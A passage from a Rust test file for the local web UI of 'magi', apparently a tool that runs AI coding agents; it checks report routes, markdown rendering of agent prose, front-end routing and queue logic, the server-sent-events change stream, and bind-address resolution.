12046 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12047 }
12048
12049 #[tokio::test]
12050 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12051 let f = Fixture::start().await;
12052 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12053
12054 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12055
12056 assert_eq!(res.status, 200);
12057 assert!(
12058 res.headers
12059 .contains("content-type: text/plain; charset=utf-8"),
12060 "a browser must render it, not download it: {}",
12061 res.headers
12062 );
12063 assert!(
12067 res.body.contains("20260902-140501-a1b2"),
12068 "the report is about the run that was asked for: {}",
12069 res.body
12070 );
12071 }
12072
12073 #[tokio::test]
12074 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12075 crate::run::pin_test_home();
12077 let f = Fixture::start().await;
12078 let id = "20260902-140501-a1b2";
12079 write_run(&f.runs(), id, RunStatus::Stalled);
12080 let path = f.runs().join(id).join("run.json");
12083 let mut v: serde_json::Value =
12084 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12085 v["tally"] = serde_json::json!({
12086 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12087 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12088 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12089 "met_quorum": false, "rankings": 1
12090 });
12091 v["reviews"] = serde_json::json!([{
12092 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12093 "e2e_deferred": true,
12094 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12095 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12096 ]}]
12097 }]);
12098 std::fs::write(&path, v.to_string()).unwrap();
12099 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12100 std::fs::write(
12101 f.runs().join("20260902-140502-dead").join("run.json"),
12102 "{not json",
12103 )
12104 .unwrap();
12105
12106 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12107
12108 assert_eq!(res.status, 200, "{}", res.body);
12109 assert!(res.headers.contains("content-type: application/json"));
12110 let j = res.json();
12111 assert_eq!(j["schema"], 1);
12112 assert_eq!(j["header"]["id"], id);
12113 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12114 let kinds: Vec<&str> = j["sections"]
12115 .as_array()
12116 .unwrap()
12117 .iter()
12118 .map(|s| s["kind"].as_str().unwrap())
12119 .collect();
12120 assert_eq!(kinds, ["candidates", "tally", "review"]);
12121 let tally = &j["sections"][1]["tally"];
12122 assert_eq!(
12123 (tally["decided"].clone(), tally["provisional"].clone()),
12124 (false.into(), true.into())
12125 );
12126 let round = &j["sections"][2]["rounds"][0];
12127 assert_eq!(round["e2e"]["state"], "deferred");
12128 assert_eq!(round["findings"][0]["severity"], "major");
12129 assert_eq!(round["findings"][0]["blocking"], true);
12130 assert_eq!(round["findings"][0]["state"], "open");
12131
12132 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12134
12135 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12137 assert_ne!(bad.status, 200, "{}", bad.body);
12138 assert_eq!(
12139 bad.status,
12140 f.get("/api/runs/20260902-140502-dead/report").await.status
12141 );
12142 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12143 assert_eq!(
12144 f.get("/api/runs/20260902-999999-ffff/report.json")
12145 .await
12146 .status,
12147 404
12148 );
12149 }
12150
12151 #[tokio::test]
12152 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12153 let f = Fixture::start().await;
12154
12155 let html = f.get("/").await;
12156 let css = f.get("/app.css").await;
12157 let js = f.get("/app.js").await;
12158
12159 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12160 assert!(
12161 html.headers
12162 .contains("content-type: text/html; charset=utf-8")
12163 );
12164 assert!(css.headers.contains("content-type: text/css"));
12165 assert!(js.headers.contains("content-type: text/javascript"));
12166 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12167 }
12168
12169 #[test]
12170 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12171 let body = |name: &str| {
12172 let at = APP_JS
12173 .find(name)
12174 .unwrap_or_else(|| panic!("{name} missing"));
12175 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12176 };
12177 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12178 let note = body("function landRoundNote");
12179 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12180 assert!(note.contains("Land round ${round}"));
12181 let land = body("function renderLand");
12182 let note_at = land
12183 .find("landRoundNote(pr)")
12184 .expect("renderLand uses the note");
12185 assert!(
12186 note_at
12187 < land
12188 .find("roundRail(pr)")
12189 .expect("renderLand uses the rail")
12190 );
12191 }
12192
12193 #[test]
12194 fn the_runs_page_redesign_keeps_its_guards() {
12195 let body = |name: &str| {
12196 let at = APP_JS
12197 .find(name)
12198 .unwrap_or_else(|| panic!("{name} missing"));
12199 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12200 };
12201 let land = body("function renderLand");
12203 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12204 assert!(
12205 !land.contains("box.append("),
12206 "renderLand must use append()"
12207 );
12208 assert!(land.contains("append(box, ["));
12209 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12211 assert!(
12212 body("function applyRoute")
12213 .contains("route.name !== state.route.name || route.id !== state.route.id")
12214 );
12215 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12217 assert!(!INDEX_HTML.contains("advise-converge"));
12218 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12219 assert!(APP_JS.contains("provisional"));
12220 for id in [
12221 "run-tab-overview",
12222 "run-tab-timeline",
12223 "run-tab-report",
12224 "run-report",
12225 "runs-scope",
12226 ] {
12227 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12228 }
12229 assert!(!INDEX_HTML.contains("runs-tree"));
12230 assert!(!INDEX_HTML.contains("run-raw-panel"));
12231 assert!(APP_JS.contains("resume"));
12233 assert!(APP_JS.contains("unreadable"));
12235 }
12236
12237 #[test]
12238 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12239 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12240 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12241 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12242 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12243 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12244 assert!(APP_JS.contains("unreadable` : null"));
12246 }
12247
12248 #[test]
12249 fn the_run_detail_payload_says_whether_the_run_is_done() {
12250 for (status, done) in [
12252 (RunStatus::Superseded, true),
12253 (RunStatus::Blocked, true),
12254 (RunStatus::Landing, false),
12255 ] {
12256 let mut state = RunState::new(
12257 std::path::PathBuf::from("/repo"),
12258 "main".to_owned(),
12259 "abc".to_owned(),
12260 "x".to_owned(),
12261 crate::config::Config::default(),
12262 );
12263 state.status = status;
12264 let v = serde_json::to_value(RunDetailView::of(
12265 state,
12266 crate::run::Liveness::Unknown,
12267 None,
12268 None,
12269 None,
12270 ))
12271 .unwrap();
12272 assert_eq!(v["done"], done, "{status:?}");
12273 }
12274 }
12275
12276 fn has_strong(nodes: &[md::Node]) -> bool {
12278 serde_json::to_string(nodes).unwrap().contains("strong")
12279 }
12280
12281 #[test]
12282 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12283 let mut state = RunState::new(
12284 std::path::PathBuf::from("/repo"),
12285 "main".to_owned(),
12286 "abc".to_owned(),
12287 "x".to_owned(),
12288 crate::config::Config::default(),
12289 );
12290 let proposal = |approach: &str| {
12291 serde_json::json!({
12292 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12293 })
12294 };
12295 state.advice = Some(
12296 serde_json::from_value(serde_json::json!({
12297 "records": [
12298 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12299 "proposal": proposal("do **this**")},
12300 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12301 ],
12302 "synthesis": "- one\n- **two**\n\n`code`",
12303 }))
12304 .unwrap(),
12305 );
12306 state.candidates = serde_json::from_value(serde_json::json!([
12307 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12308 "summary": "did **it**"},
12309 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12310 ]))
12311 .unwrap();
12312 state.reviews = serde_json::from_value(serde_json::json!([{
12315 "round": 1, "head": "h",
12316 "reviews": [{
12317 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12318 "findings": [
12319 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12320 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12321 ],
12322 }],
12323 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12324 "fix": {"agent": "a", "notes": "fixed **it**",
12325 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12326 }, {"round": 2, "head": "h2", "reviews": []}]))
12327 .unwrap();
12328
12329 let v = serde_json::to_value(RunDetailView::of(
12330 state,
12331 crate::run::Liveness::Unknown,
12332 None,
12333 None,
12334 None,
12335 ))
12336 .unwrap();
12337
12338 let strong = |p: &str| {
12339 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12340 assert!(n.to_string().contains("strong"), "{p}: {n}");
12341 };
12342 strong("/advice_md/synthesis");
12343 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12344 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12345 strong("/advice_md/approaches/0");
12346 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12347 strong("/candidate_summaries_md/0");
12348 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12349 strong("/reviews_md/0/reviewers/0/summary");
12350 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12351 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12352 assert!(f[1].to_string().contains("strong"));
12353 strong("/reviews_md/0/reconsideration/0");
12354 strong("/reviews_md/0/fix/notes");
12355 strong("/reviews_md/0/fix/rejected/0");
12356 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12357 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12358 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12360 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12361 }
12362
12363 #[test]
12364 fn a_run_without_advice_has_no_advice_md() {
12365 let state = RunState::new(
12366 std::path::PathBuf::from("/repo"),
12367 "main".to_owned(),
12368 "abc".to_owned(),
12369 "x".to_owned(),
12370 crate::config::Config::default(),
12371 );
12372 let p = run_prose_md(&state);
12373 assert!(p.advice_md.is_none());
12374 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12375 }
12376
12377 #[test]
12378 fn a_question_view_carries_markdown_for_each_thread_turn() {
12379 let home = TempDir::new().unwrap();
12380 let store = ask::Questions::at(home.path().join("questions"));
12381 let mut q = Question::new(
12382 "run".to_owned(),
12383 "implement".to_owned(),
12384 "impl-A".to_owned(),
12385 "which?".to_owned(),
12386 String::new(),
12387 Vec::new(),
12388 );
12389 q.say("plain words").unwrap();
12390 q.reply("use **this**", Vec::new()).unwrap();
12391 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12392 let bodies = &v["thread_bodies_md"];
12393 assert_eq!(bodies.as_array().unwrap().len(), 2);
12394 assert!(!bodies[0].to_string().contains("strong"));
12395 assert!(bodies[1].to_string().contains("strong"));
12396 }
12397
12398 #[test]
12399 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12400 let home = TempDir::new().unwrap();
12401 let store = ask::Questions::at(home.path().join("questions"));
12402 let mut q = Question::new(
12403 "run".to_owned(),
12404 "conduct".to_owned(),
12405 "conduct".to_owned(),
12406 "which?".to_owned(),
12407 String::new(),
12408 Vec::new(),
12409 );
12410 q.say("plain words").unwrap();
12411 q.thread.push(ask::Turn {
12412 who: ask::Who::Agent,
12413 body: "Settled as `merge`".to_owned(),
12414 at: jiff::Timestamp::now(),
12415 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12416 });
12417 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12418 let notes = &v["thread_notes_md"];
12419 assert_eq!(notes.as_array().unwrap().len(), 2);
12420 assert!(notes[0].is_null());
12421 let text = notes[1].to_string();
12422 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12423 assert!(APP_JS.contains("ask-turn-note"));
12424 }
12425
12426 #[test]
12427 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12428 assert!(APP_JS.contains("function landView(run, raw) {"));
12432 assert!(
12433 APP_JS.contains(
12434 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12435 )
12436 );
12437 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12438 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12439 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12440 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12441 }
12442
12443 #[test]
12444 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12445 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12446 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12447 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12448 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12449 }
12450
12451 #[test]
12452 fn review_rounds_label_a_distinct_verified_head() {
12453 assert!(APP_JS.contains("round.verified_head"));
12454 assert!(APP_JS.contains("verified HEAD"));
12455 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12456 }
12457
12458 #[test]
12459 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12460 assert!(APP_JS.contains("blocked: { glyph:"));
12464 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12465
12466 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12470 assert!(
12471 APP_JS.contains(
12472 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12473 ),
12474 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12475 );
12476 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12480
12481 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12485 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12486 assert!(
12487 APP_JS.contains("location.hash = \"#/questions\";"),
12488 "a question node must jump to the Questions screen, not pretend to be a task"
12489 );
12490
12491 assert!(APP_JS.contains("Resolved questions"));
12494 assert!(APP_JS.contains("r.answersList.append("));
12495 assert!(APP_CSS.contains(".task-answers"));
12496 {
12497 let start = APP_JS
12498 .find("function updateTalkTaskRow")
12499 .expect("updateTalkTaskRow");
12500 let body = &APP_JS[start..];
12501 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12502 assert!(
12503 body.contains(
12504 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12505 ),
12506 "a chat-filed task row must link to the task page"
12507 );
12508 assert!(
12509 !body.contains("#/runs/") && !body.contains("#/queue/"),
12510 "the row must not branch to a run or the queue card"
12511 );
12512 assert!(APP_CSS.contains(".talk-task-link"));
12513 }
12514 }
12515
12516 #[test]
12517 fn a_task_notification_links_to_the_task_page() {
12518 let start = APP_JS
12520 .find("function noticeLink(")
12521 .expect("noticeLink exists");
12522 let body = &APP_JS[start..];
12523 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12524 assert!(
12525 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12526 "a task notice's link must target the task page"
12527 );
12528 assert!(
12529 !body.contains("#/queue/"),
12530 "regression: the task link must not go back to the Backlog route"
12531 );
12532 assert!(
12533 APP_JS.contains(
12534 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12535 ),
12536 "`#/tasks/<id>` must parse into the task route"
12537 );
12538
12539 assert!(
12541 APP_JS.contains(
12542 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12543 ),
12544 "`#/queue/<id>` must parse into a route carrying that id"
12545 );
12546
12547 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12551 assert!(APP_JS.contains("function consumeQueueFocus()"));
12552 assert!(APP_JS.contains("jumpToTask(id)"));
12553 }
12554
12555 #[test]
12558 fn chat_rows_put_the_title_alone_on_the_first_line() {
12559 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12560 assert!(APP_CSS.contains(
12561 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12562 ));
12563 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12564 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12565 }
12566
12567 #[test]
12568 fn run_rows_put_the_title_alone_on_the_first_line() {
12569 assert!(
12570 APP_CSS.contains(
12571 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12572 )
12573 );
12574 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12575 assert!(APP_JS.contains("class: \"card run-card\""));
12576 assert!(APP_JS.contains("class: \"repo run-id\""));
12577 }
12578
12579 #[test]
12583 fn wide_screens_show_list_and_preview_side_by_side() {
12584 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12586 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12587 assert!(APP_CSS.contains("main[data-split]"));
12588 assert!(APP_CSS.contains("body[data-split]"));
12589
12590 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12592 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12593 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12594 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12595 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12596
12597 assert!(APP_JS.contains("function markSelected() {"));
12599 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12600 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12601 assert!(
12603 APP_CSS.contains(
12604 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12605 )
12606 );
12607
12608 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12610 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12611 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12612 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12613
12614 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12618 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12619 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12620 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12621
12622 assert!(APP_JS.contains("sandbox: \"\""));
12624 assert!(!APP_JS.contains("sandbox: \"allow"));
12625 }
12626
12627 #[test]
12628 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12629 assert!(
12638 APP_JS.contains(
12639 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12640 ),
12641 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12642 recursive renderQueue() call has nothing left to jump to"
12643 );
12644 assert!(
12645 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12646 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12647 arrives later still gets it"
12648 );
12649 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12650 assert!(APP_JS.contains("is not in the current Backlog."));
12651 assert!(APP_JS.contains("li.card[data-task-id=\""));
12652 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12653 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12654 assert!(APP_CSS.contains(".card-permalink"));
12655 assert!(APP_CSS.contains(".queue-focus-status"));
12656 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12657 }
12658
12659 #[test]
12660 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12661 assert!(
12669 APP_JS.contains(
12670 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12671 ),
12672 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12673 );
12674 }
12675
12676 #[test]
12677 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12678 assert!(
12679 APP_JS.contains("round.verified_head !== round.head"),
12680 "a round that verified an earlier commit must be visibly distinct from one that \
12681 verified the head reviewers are looking at now"
12682 );
12683 assert!(
12684 APP_JS.contains("round.verified_at"),
12685 "when a check ran must be on the wire, not just which commit"
12686 );
12687 assert!(
12688 APP_JS.contains("resource_blocked"),
12689 "a command magi never got to run (shared build cache contention) must not render \
12690 the same as a command that ran and failed"
12691 );
12692 }
12693
12694 #[test]
12695 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12696 assert!(
12704 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12705 "every KPI tile built through statusTile() must route its click through \
12706 openRunsFiltered, the single place that sets the Runs filter"
12707 );
12708 for (label, status) in [
12709 ("Merged", "merged"),
12710 ("Ready", "ready"),
12711 ("Blocked", "blocked"),
12712 ("Stalled", "stalled"),
12713 ] {
12714 let call = format!("statusTile(\"{label}\", t.{status}, ");
12715 assert!(
12716 APP_JS.contains(&call),
12717 "expected the {label} KPI tile built via {call}..."
12718 );
12719 assert!(
12720 APP_JS.contains(&format!("status === \"{status}\"")),
12721 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12722 compare a run against, not one invented only for the stats tile"
12723 );
12724 }
12725 assert!(
12726 APP_JS.contains("function openRunsFiltered(status)"),
12727 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12728 );
12729 assert!(
12730 APP_JS.contains(
12731 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12732 ),
12733 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12734 );
12735 assert!(
12743 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12744 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12745 hashchange event that may never fire"
12746 );
12747 }
12748
12749 #[test]
12750 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12751 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12757 assert!(
12758 APP_JS.contains(
12759 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12760 ),
12761 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12762 guard for an incompatible tree section"
12763 );
12764 }
12765
12766 #[test]
12767 fn every_stats_queue_tile_names_a_real_queue_section() {
12768 assert!(
12774 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12775 "every queue tile built through sectionTile() must route its click through \
12776 openQueueSectionFocus"
12777 );
12778 for key in ["upnext", "running", "done", "held", "blocked"] {
12779 assert!(
12780 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12781 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12782 );
12783 }
12784 for line in [
12788 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12789 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12790 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12791 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12792 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12793 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12794 ] {
12795 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12796 }
12797 }
12798
12799 #[test]
12800 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12801 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12808 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12809 assert!(APP_JS.contains("function revealQueueSection(details)"));
12810 assert!(
12811 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12812 "renderQueue() must consume both focus channels on every pass"
12813 );
12814 assert!(
12815 APP_JS.contains(
12816 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12817 ),
12818 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12819 the recursive renderQueue() call has nothing left to reveal"
12820 );
12821 assert!(
12822 APP_JS.contains(
12823 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12824 ),
12825 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12826 );
12827 assert!(
12835 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12836 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12837 hashchange event that may never fire"
12838 );
12839 }
12840
12841 #[tokio::test]
12842 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12843 let f = Fixture::start().await;
12844
12845 let mut socket = tokio::net::TcpStream::connect(f.addr)
12846 .await
12847 .expect("connect");
12848 socket
12849 .write_all(
12850 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12851 )
12852 .await
12853 .expect("write request");
12854
12855 let mut seen = String::new();
12858 let mut buf = [0u8; 1024];
12859 while !seen.contains("event: change") {
12860 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12861 .await
12862 .expect("the stream must speak within five seconds")
12863 .expect("read");
12864 assert!(read > 0, "the server closed the change stream: {seen}");
12865 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12866 }
12867
12868 assert!(
12869 seen.to_lowercase()
12870 .contains("content-type: text/event-stream"),
12871 "the browser only reconnects automatically for a real SSE stream: {seen}"
12872 );
12873 let data = seen
12874 .lines()
12875 .find_map(|l| l.strip_prefix("data:"))
12876 .expect("a data line");
12877 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12878 assert!(
12879 payload["queue_rev"].is_u64()
12880 && payload["runs_rev"].is_u64()
12881 && payload["questions_rev"].is_u64()
12882 && payload["talks_rev"].is_u64()
12883 && payload["notifications_rev"].is_u64()
12884 && payload["loop_rev"].is_u64(),
12885 "the client needs one revision per store to know what to refetch, \
12886 and `talks_rev` is the only notification a standing talk gets - a \
12887 phone whose radio slept through a turn learns about it here, as \
12888 does one whose operator started the loop from another device: \
12889 {payload}"
12890 );
12891
12892 let health = f.get("/api/health").await.json();
12899 for key in [
12900 "queue_rev",
12901 "runs_rev",
12902 "questions_rev",
12903 "talks_rev",
12904 "notifications_rev",
12905 "loop_rev",
12906 ] {
12907 assert!(
12908 health[key].is_u64(),
12909 "health is the change stream's fallback and is missing `{key}`: {health}"
12910 );
12911 }
12912 }
12913
12914 #[tokio::test]
12915 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12916 let f = Fixture::start().await;
12917 let before = f.get("/api/health").await.json()["talks_rev"]
12918 .as_u64()
12919 .expect("talks_rev");
12920
12921 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12922 std::thread::sleep(Duration::from_millis(10));
12923 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12924 on_disk.turns.push(crate::talk::Turn {
12925 who: crate::talk::Who::Operator,
12926 body: "a new turn".to_owned(),
12927 at: Timestamp::now(),
12928 attachments: Vec::new(),
12929 usage: None,
12930 });
12931 f.talks().put(&mut on_disk).expect("record a turn");
12932
12933 let after = f.get("/api/health").await.json()["talks_rev"]
12934 .as_u64()
12935 .expect("talks_rev");
12936 assert_ne!(
12937 before, after,
12938 "a phone must be able to notice a talk's reply without polling every store"
12939 );
12940 }
12941
12942 #[test]
12943 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12944 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12948 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12949 }
12950 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12951 assert!("everywhere".parse::<Bind>().is_err());
12952 }
12953
12954 #[test]
12955 fn an_explicit_bind_address_is_taken_verbatim() {
12956 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12957
12958 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12959
12960 assert_eq!(addr, asked);
12961 assert!(
12962 warning.is_none(),
12963 "an operator who named an address gets no lecture"
12964 );
12965 }
12966
12967 #[test]
12968 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12969 let (addr, warning) = resolve_bind(&Bind::Auto);
12970
12971 match addr {
12978 IpAddr::V4(ip) if is_tailnet(&ip) => {
12979 assert!(warning.is_none(), "a tailnet address needs no warning");
12980 }
12981 other => {
12982 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
